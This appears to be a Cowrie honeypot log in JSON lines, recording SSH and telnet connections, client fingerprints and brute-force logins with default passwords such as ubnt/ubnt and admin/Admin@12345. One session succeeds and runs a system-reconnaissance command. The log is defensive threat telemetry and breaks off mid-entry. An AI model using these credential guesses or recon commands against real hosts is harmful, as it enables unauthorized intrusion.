{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55778,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c2256d6a690","protocol":"ssh","message":"New connection: 192.109.200.78:55778 (10.17.0.5:22) [session: 5c2256d6a690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:16.085274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:16.090222Z","src_ip":"192.109.200.78","session":"5c2256d6a690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:16.174351Z","src_ip":"192.109.200.78","session":"5c2256d6a690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:16.425796Z","src_ip":"192.109.200.78","session":"5c2256d6a690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":39586,"dst_ip":"159.203.135.109","dst_port":23,"session":"436f92dab74f","protocol":"telnet","message":"New connection: 206.189.71.75:39586 (159.203.135.109:23) [session: 436f92dab74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:16.752830Z"}
{"eventid":"cowrie.session.closed","duration":12.666840076446533,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:16.895379Z","src_ip":"106.215.198.169","session":"daf7f90fbd6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":39816,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c3abf6fb48c","protocol":"telnet","message":"New connection: 206.189.71.75:39816 (159.203.135.109:23) [session: 3c3abf6fb48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:17.048589Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:17.512427Z","src_ip":"192.109.200.78","session":"5c2256d6a690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.91528844833374,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:20.298129Z","src_ip":"206.189.71.75","session":"c25db4d734b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.15528988838196,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:20.351968Z","src_ip":"206.189.71.75","session":"d14a4af8bae4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56444,"dst_ip":"10.17.0.5","dst_port":22,"session":"94ee5936fe0b","protocol":"ssh","message":"New connection: 192.109.200.78:56444 (10.17.0.5:22) [session: 94ee5936fe0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:20.401953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:20.406926Z","src_ip":"192.109.200.78","session":"94ee5936fe0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:20.494253Z","src_ip":"192.109.200.78","session":"94ee5936fe0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:20.749210Z","src_ip":"192.109.200.78","session":"94ee5936fe0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":40748,"dst_ip":"159.203.135.109","dst_port":23,"session":"47b23918cb31","protocol":"telnet","message":"New connection: 206.189.71.75:40748 (159.203.135.109:23) [session: 47b23918cb31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:21.056365Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:22.992343Z","src_ip":"192.109.200.78","session":"94ee5936fe0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56458,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c26451dd8aa","protocol":"ssh","message":"New connection: 192.109.200.78:56458 (10.17.0.5:22) [session: 0c26451dd8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:24.485839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:24.490050Z","src_ip":"192.109.200.78","session":"0c26451dd8aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:24.573268Z","src_ip":"192.109.200.78","session":"0c26451dd8aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:24.822738Z","src_ip":"192.109.200.78","session":"0c26451dd8aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56774,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cab18561520","protocol":"ssh","message":"New connection: 159.203.92.129:56774 (159.203.135.109:22) [session: 8cab18561520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:25.054583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:25.063406Z","src_ip":"159.203.92.129","session":"8cab18561520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:25.067855Z","src_ip":"159.203.92.129","session":"8cab18561520","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@12345","message":"login attempt [admin/Admin@12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:25.104850Z","src_ip":"159.203.92.129","session":"8cab18561520","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:25.162423Z","src_ip":"159.203.92.129","session":"8cab18561520","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:25.166052Z","src_ip":"159.203.92.129","session":"8cab18561520","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:25.170915Z","src_ip":"159.203.92.129","session":"8cab18561520","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:25.184234Z","src_ip":"159.203.92.129","session":"8cab18561520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:25.190264Z","src_ip":"159.203.92.129","session":"8cab18561520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.324286222457886,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:25.293432Z","src_ip":"206.189.71.75","session":"f5ad64613fe6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:25.910805Z","src_ip":"192.109.200.78","session":"0c26451dd8aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.55375647544861,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:26.334966Z","src_ip":"206.189.71.75","session":"976e49e7a317","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37030,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1a628bd25b5","protocol":"ssh","message":"New connection: 192.109.200.78:37030 (10.17.0.5:22) [session: e1a628bd25b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:28.540499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:28.555572Z","src_ip":"192.109.200.78","session":"e1a628bd25b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:28.755096Z","src_ip":"192.109.200.78","session":"e1a628bd25b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:29.135803Z","src_ip":"192.109.200.78","session":"e1a628bd25b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:30.223210Z","src_ip":"192.109.200.78","session":"e1a628bd25b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":49218,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9eee0066d38","protocol":"telnet","message":"New connection: 206.189.71.75:49218 (159.203.135.109:23) [session: f9eee0066d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:30.426687Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":51048,"dst_ip":"159.203.135.109","dst_port":23,"session":"64528f96cb99","protocol":"telnet","message":"New connection: 206.189.71.75:51048 (159.203.135.109:23) [session: 64528f96cb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:31.922340Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37046,"dst_ip":"10.17.0.5","dst_port":22,"session":"81ca52729500","protocol":"ssh","message":"New connection: 192.109.200.78:37046 (10.17.0.5:22) [session: 81ca52729500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:32.803697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:32.808441Z","src_ip":"192.109.200.78","session":"81ca52729500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:32.890946Z","src_ip":"192.109.200.78","session":"81ca52729500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":51724,"dst_ip":"159.203.135.109","dst_port":23,"session":"940a3d020335","protocol":"telnet","message":"New connection: 206.189.71.75:51724 (159.203.135.109:23) [session: 940a3d020335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:32.930497Z"}
{"eventid":"cowrie.session.closed","duration":36.03803610801697,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:33.103820Z","src_ip":"206.189.71.75","session":"884c60fa604e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:33.139488Z","src_ip":"192.109.200.78","session":"81ca52729500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:34.223440Z","src_ip":"192.109.200.78","session":"81ca52729500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.47.32.235","src_port":48680,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dc756a5b2e6","protocol":"telnet","message":"New connection: 202.47.32.235:48680 (10.17.0.5:23) [session: 3dc756a5b2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:36.803302Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37062,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7b7b6f3a9d0","protocol":"ssh","message":"New connection: 192.109.200.78:37062 (10.17.0.5:22) [session: e7b7b6f3a9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:36.896224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:05:36.901131Z","src_ip":"192.109.200.78","session":"e7b7b6f3a9d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh